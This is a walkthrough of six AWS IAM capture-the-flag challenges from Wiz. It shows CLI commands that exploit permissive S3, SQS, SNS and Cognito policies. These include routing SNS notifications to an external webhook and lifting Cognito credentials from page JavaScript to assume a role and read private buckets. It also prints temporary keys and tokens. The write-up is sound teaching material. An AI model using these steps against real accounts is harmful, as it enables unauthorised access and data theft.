Warning Spoilers!
This walkthrough goes over the 6 challenges created by wiz.io for AWS re:inforce 2023.
Challenge 1
First we should view the policy to see what permissions we have
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
}
}
}
]
}
We can see that we have access to list objects with the prefix files/*
and then we can get any object in the bucket.
aws s3api list-objects --bucket thebigiamchallenge-storage-9979f4b --prefix files
From the output we can see there are two files logo.png
and flag1.txt
aws s3api get-object --bucket thebigiamchallenge-storage-9979f4b --key files/flag1.txt flag1.txt
cat flag1.txt
# {wiz:exposed-storage-risky-as-usual}
Challenge 2
First lets look at the policy, looks like we can receive and send messages to the queue.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:SendMessage",
"sqs:ReceiveMessage"
],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}
]
}
Lets try to receive a message from the queue.
The queue url is built from the region, account id, & queue name.
aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
This is the output we get from the sqs command.
{
"Messages": [
{
"MessageId": "7eba0d25-e9cb-4b90-bc41-7e4a00eb1290",
"ReceiptHandle": "AQEBk2+cOjNnYM/TVY8bqN/XRN7bunk57jQFNVhWWkeM5Chj/hQHr865OxaYNaOU46kU8rC4CDfyo2gbIFqNzaCZ4FmZvHSedgp4IhPddc7I+e/WmQO1ZsZByDUS/So+h5Da93ncz2HRO38wYiemeaklXr5ceQxRn9m3J4VEdjJ2DhuE+42wcukd54HbzicYPYYLXo3XwvpDU2zvFIiO0lwcAIcuddReoR5SeOrdXiygQsukdonaDhlh61nxD2ApFrgEPiDaHBdbHrA17Bj1NEFYH3C99sJD2ZUNM07ZGjViKincBcz+rZijtNqIr0uB+z4IvmFRRiOjhPXj5GbaJfsN1+g8qkUGk6oJ1YWyA175F7EWaYIlbd57evtKLSZt3VwxVN35MWPBE53np9RNS511rtNtC7xp0HJ
l+un9EQuQBs=",
"MD5OfBody": "4cb94e2bb71dbd5de6372f7eaea5c3fd",
"Body": "{\"URL\": \"https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html\", \"User-Agent\": \"Lynx/2.5329.3258dev.35046 libwww-FM/2.14 SSL-MM/1.4.3714\", \"IsAdmin\": true}"
}
]
}
In the body we get a url that contains the flag.
curl https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html
# {wiz:you-are-at-the-front-of-the-queue}
Challenge 3
{
"Version": "2008-10-17",
"Id": "Statement1",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io"
}
}
}
]
}
The first thing to try is to subscribe to the endpoint using the email protocol, but the confirmation is pending.
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint '*@tbic.wiz.io'
It took me some time to release the endpoint could be append (website.com/[email protected]
) on a url. I’m using webhook.site since its free.
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol https --notification-endpoint 'https://webhook.site/b7a96825-d803-40e1-a723-6ed8672954d2/[email protected]'
Once we run the new subscription we get a request to confirm it.
{
"Type" : "SubscriptionConfirmation",
"MessageId" : "5cc570a3-3f08-46eb-b3f4-05ee36d42ddd",
"Token" : "2336412f37fb687f5d51e6e2425c464de3d3f18703639709219e1fbf8f538b9a87e0c9276a5d07c94cdeaa8718a6e4c8be087fbf770195e80ca3534dda63d8624d336403157e4c1a0b1633533c07c240034fa9b1118405f22d8d1e9b04c5c700c12d1d319933c9518a6a02b6be608509bfc3d8840d1905affd1f879afbea862c",
"TopicArn" : "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Message" : "You have chosen to subscribe to the topic arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications.\nTo confirm the subscription, visit the SubscribeURL included in this message.",
"SubscribeURL" : "https://sns.us-east-1.amazonaws.com/?Action=ConfirmSubscription&TopicArn=arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications&Token=2336412f37fb687f5d51e6e2425c464de3d3f18703639709219e1fbf8f538b9a87e0c9276a5d07c94cdeaa8718a6e4c8be087fbf770195e80ca3534dda63d8624d336403157e4c1a0b1633533c07c240034fa9b1118405f22d8d1e9b04c5c700c12d1d319933c9518a6a02b6be608509bfc3d8840d1905affd1f879afbea862c",
"Timestamp" : "2023-06-11T19:57:16.565Z",
"SignatureVersion" : "1",
"Signature" : "KT+1SN5dl8YvkzeiTgcUl1HtdIR2GfG3rkN0evVZ1q+mK8VTdEC6FePkTfXCxmPJ58WaxZkXa4Af91KsFkK9lqat8zdfkwIR5EnCYup1zjtfgk/blq5x81cNQaeUJ8ZBRC6SHq/Wp16tTaIiePtZCstVoFoDxzvl15VZTSo1QJksU7MgvPXrCITv04YbQFrIQnBrF6GfNLYEntNlMf3XkBV8/3GiJngV4R4AakUrxpIUM+DqrcyohsURkZ8g0VdZBpadzYLzs69Vy7qTKlTyYeQhYrEsbzDJArrvccjUdLeaYmka7PNNCD4RT/KiLJzTnD5YI4kTwEYDCxCi+/tahA==",
"SigningCertURL" : "https://sns.us-east-1.amazonaws.com/SimpleNotificationService-01d088a6f77103d0fe307c0069e40ed6.pem"
}
Now once we visit the SubscribeURL
it will confirm the subscription.
https://sns.us-east-1.amazonaws.com/?Action=ConfirmSubscription&TopicArn=arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications&Token=2336412f37fb687f5d51e6e2425c464de3d3f18703639709219e1fbf8f538b9a87e0c9276a5d07c94cdeaa8718a6e4c8be087fbf770195e80ca3534dda63d8624d336403157e4c1a0b1633533c07c240034fa9b1118405f22d8d1e9b04c5c700c12d1d319933c9518a6a02b6be608509bfc3d8840d1905affd1f879afbea862c
After the subscription is confirmed aws will send a notification containing the flag in the message.
{
"Type" : "Notification",
"MessageId" : "a36c25e2-5726-5fde-b496-78e27da6af19",
"TopicArn" : "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Message" : "{wiz:always-suspect-asterisks}",
"Timestamp" : "2023-06-11T20:02:08.730Z",
"SignatureVersion" : "1",
"Signature" : "T+5Mbm0YRwlKbllgsrEpUYK7wyMRyTekRa41xiJXMZ3Kk0HprVnf0TzTopLZsaHBhGeb80ZBNHVsfCwQRXW0Mflvm2andG73LTpyZrow00aCHSChG1rUfOkvjn3i6Zs5gSR1p2HsklUbcEMoh6jKffQNCXbnCJqYx2U4WjxGfTpx8rnrg4uUaDaAFs8JwArflJIR5GyT1jkZXX9XezbRZDPGc7pk6Fcl8REltYBY9vJe/V7qDXWWIrLSYTJ3sn/mzP86lFe+r9KTGk4wRt7TZ37fdOHBYxcqbOrcrpUr4LR15Vqnle9X7rfTpgkbiUQy/YWPt6Ho6AF9ZoIoGfcPbg==",
"SigningCertURL" : "https://sns.us-east-1.amazonaws.com/SimpleNotificationService-01d088a6f77103d0fe307c0069e40ed6.pem",
"UnsubscribeURL" : "https://sns.us-east-1.amazonaws.com/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications:03170262-9ac3-40bf-a0bc-ce2682df14a1"
}
Challenge 4
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
},
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
}
}
}
]
}
The catch in this policy is ForAllValues
Tests whether the value of every member of the request set is a subset of the condition key set. The condition returns true if every key value in the request matches at least one value in the policy. It also returns true if there are no keys in the request, or if the key values resolve to a null data set, such as an empty string.
aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files . --recursive --no-sign-request
cat flag-as-admin.txt
# {wiz:principal-arn-is-not-what-you-think}
Challenge 5
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"mobileanalytics:PutEvents",
"cognito-sync:*"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::wiz-privatefiles",
"arn:aws:s3:::wiz-privatefiles/*"
]
}
]
}
The policy allows us full permissions to list and get the objects in the bucket.
When looking through the pages source we see the following script
AWS.config.region = 'us-east-1';
AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId:"us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});
// Set the region
AWS.config.update({region: 'us-east-1'});
$(document).ready(function() {
var s3 = new AWS.S3();
params = {
Bucket: 'wiz-privatefiles',
Key: 'cognito1.png',
Expires: 60 * 60
}
signedUrl = s3.getSignedUrl('getObject', params, function (err, url) {
$('#signedImg').attr('src', url);
});
});
From this we can see that we get credentials from cognito and then the page uses them to pull the cognito1.png
file.
From the inspect console we can get the temporary credentials that were created by the javascript.
AWS.config.credentials
We can now copy the credentials and use them with the aws cli
export AWS_ACCESS_KEY_ID=ASIA....
export AWS_SECRET_ACCESS_KEY=983JOhp3lyE939hX7/Jr.....
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEI3//////////wEa............
aws s3 ls s3://wiz-privatefiles/
# 2023-06-05 21:42:27 4220 cognito1.png
# 2023-06-05 15:28:35 37 flag1.txt
aws s3 cp s3://wiz-privatefiles/flag1.txt flag5.txt
cat flag5.txt
# {wiz:incognito-is-always-suspicious}
Challenge 6
IAM role that can be assume arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role
by the following cognito user pool.
The roles trust policy.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
}
}
]
}
First we can get a identity ID from the pool by running to following command.
aws cognito-identity get-id --region us-east-1 --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
{
"IdentityId": "us-east-1:39f874ad-22e1-4f74-a522-d583dfb8aa0a"
}
With the identity ID we can get a JWT.
aws cognito-identity get-open-id-token --region us-east-1 --identity-id us-east-1:39f874ad-22e1-4f74-a522-d583dfb8aa0a
{
"IdentityId": "us-east-1:39f874ad-22e1-4f74-a522-d583dfb8aa0a",
"Token": "eyJraWQiOiJ1cy1lYXN0LTEzIiwidHlwIjoiSldTIiwiYWxnIjoiUlM1MTIifQ.eyJzdWIiOiJ1cy1lYXN0LTE6MzlmODc0YWQtMjJlMS00Zjc0LWE1MjItZDU4M2RmYjhhYTBhIiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE2ODY3NjU1OTksImlhdCI6MTY4Njc2NDk5OX0.gcYIT3RLFQjOB3UnUsKZvJAf_5l8ufnOyosBT3Ft73esRIESZqYGHWVAVj1sDLoBkKPUxN6vDQ_E-wUKauqJbGs7zZTe3RKJLtEOc5mAnG7ItZ9xGxKQemqadvzPzqPK_O7H37-EHFYaU25x-389teXu5vK6UdgFHcJcY_zqnnnYrkGgb8wqrb4quYjdNKQjDHhrTMSWyy7xQbhGIhsHQg6MZbO1BLkBjVO7F6L2MopMRUTLjY-GX2Fl7kSxFLFqWdqRZEyNVvJcCaNK5dkQVxtQMM1K_j3pf3dM-_S1QaoZ-ZNlFhyfcgMWqhDgvYO3HGXFRK9scKmhnVD6k-sv8A"
}
Now we can assume to role Cognito_s3accessAuth_Role
and pass in the JWT.
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name iam-challenge-6 --web-identity-token 'eyJraWQiOiJ1cy1lYXN0LTEzIiwidHlwIjoiSldTIiwiYWxnIjoiUlM1MTIifQ.eyJzdWIiOiJ1cy1lYXN0LTE6MzlmODc0YWQtMjJlMS00Zjc0LWE1MjItZDU4M2RmYjhhYTBhIiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE2ODY3NjU1OTksImlhdCI6MTY4Njc2NDk5OX0.gcYIT3RLFQjOB3UnUsKZvJAf_5l8ufnOyosBT3Ft73esRIESZqYGHWVAVj1sDLoBkKPUxN6vDQ_E-wUKauqJbGs7zZTe3RKJLtEOc5mAnG7ItZ9xGxKQemqadvzPzqPK_O7H37-EHFYaU25x-389teXu5vK6UdgFHcJcY_zqnnnYrkGgb8wqrb4quYjdNKQjDHhrTMSWyy7xQbhGIhsHQg6MZbO1BLkBjVO7F6L2MopMRUTLjY-GX2Fl7kSxFLFqWdqRZEyNVvJcCaNK5dkQVxtQMM1K_j3pf3dM-_S1QaoZ-ZNlFhyfcgMWqhDgvYO3HGXFRK9scKmhnVD6k-sv8A'
{
"Credentials": {
"AccessKeyId": "ASIARK7LBOHXP4DSFP73",
"SecretAccessKey": "97injmdfa8vLgXRwS+zDOVMnNNmcsTzfwJwdaG1R",
"SessionToken": "FwoGZXIvYXdzENP//////////wEaDB/3QFgTo2T2aQcVoiKnAt+bILs40Sa9pS8TRudekeFEOZk5R3jpBEykZID0HhMZkK4L4EXNsPkUtBfNxNYRgn+6hvnbaZEzO18SbuoCEL9xg+ufDdqMpsqvCkeGnv02VvisAp76+aDfEDMSlrePKX16/fXbDiNPyBrsTFsvLFGPI4+vEI75hGLLMEbPK27OlCoRWQ95j/5oCsa0lvoy03R4xzM3F7kCx/TBqPc1icSGGiLODvLyLs0NaV0x/oRbJ6HzOesjvXbE/uUTftuXGX61SWDxfRfzTha0iA3Mq5Fj1FfZLanZnN1oeS1ZswUAgshD2wReiico1zUlp9W78TWXvirJPwbgS6RI41GDVR+kCP0qddsiQWPxIyr+1zbHysrAPOvZDSFcqW5+BPT/io0cRBm6WJAoyvynpAYylgEQLJ/fMAWWDZZMw3UBfUT8OJJhjb89dY+oL46Klj7yr3qNC7vVfsm5xXY2/dsJQEk6OA/tHG631OTJ8H76z0HMSbU5Ekwtd7EMl6HC0cJ2lwd7in87zZk199srKL5f2/3wpKp7xsvcrfwSpyYZGSmaibg+XlWEKP6wyWcup85kYun9OO+sf6vMBw0FY7dP+nQaT3zmRQE=",
"Expiration": "2023-06-14T18:52:10+00:00"
},
"SubjectFromWebIdentityToken": "us-east-1:39f874ad-22e1-4f74-a522-d583dfb8aa0a",
"AssumedRoleUser": {
"AssumedRoleId": "AROARK7LBOHXASFTNOIZG:iam-challenge-6",
"Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessAuth_Role/iam-challenge-6"
},
"Provider": "cognito-identity.amazonaws.com",
"Audience": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
From the output we can assume the role.
export AWS_ACCESS_KEY_ID=ASIA....
export AWS_SECRET_ACCESS_KEY=97injmdfa8vLgXRwS.....
export AWS_SESSION_TOKEN=FwoGZXIvYXdzENP//////////wEaD............
Looking through the S3 buckets we can find the challenges flag.
aws s3 ls
# 2023-06-04 19:07:29 tbic-wiz-analytics-bucket-b44867f
# 2023-06-05 15:07:44 thebigiamchallenge-admin-storage-abf1321
# 2023-06-04 18:31:02 thebigiamchallenge-storage-9979f4b
# 2023-06-05 15:28:31 wiz-privatefiles
# 2023-06-05 15:28:31 wiz-privatefiles-x1000
aws s3 ls wiz-privatefiles-x1000
# 2023-06-05 21:42:27 4220 cognito2.png
# 2023-06-05 15:28:35 40 flag2.txt
aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt flag6.txt
cat flag6.txt
# {wiz:open-sesame-or-shell-i-say-openid}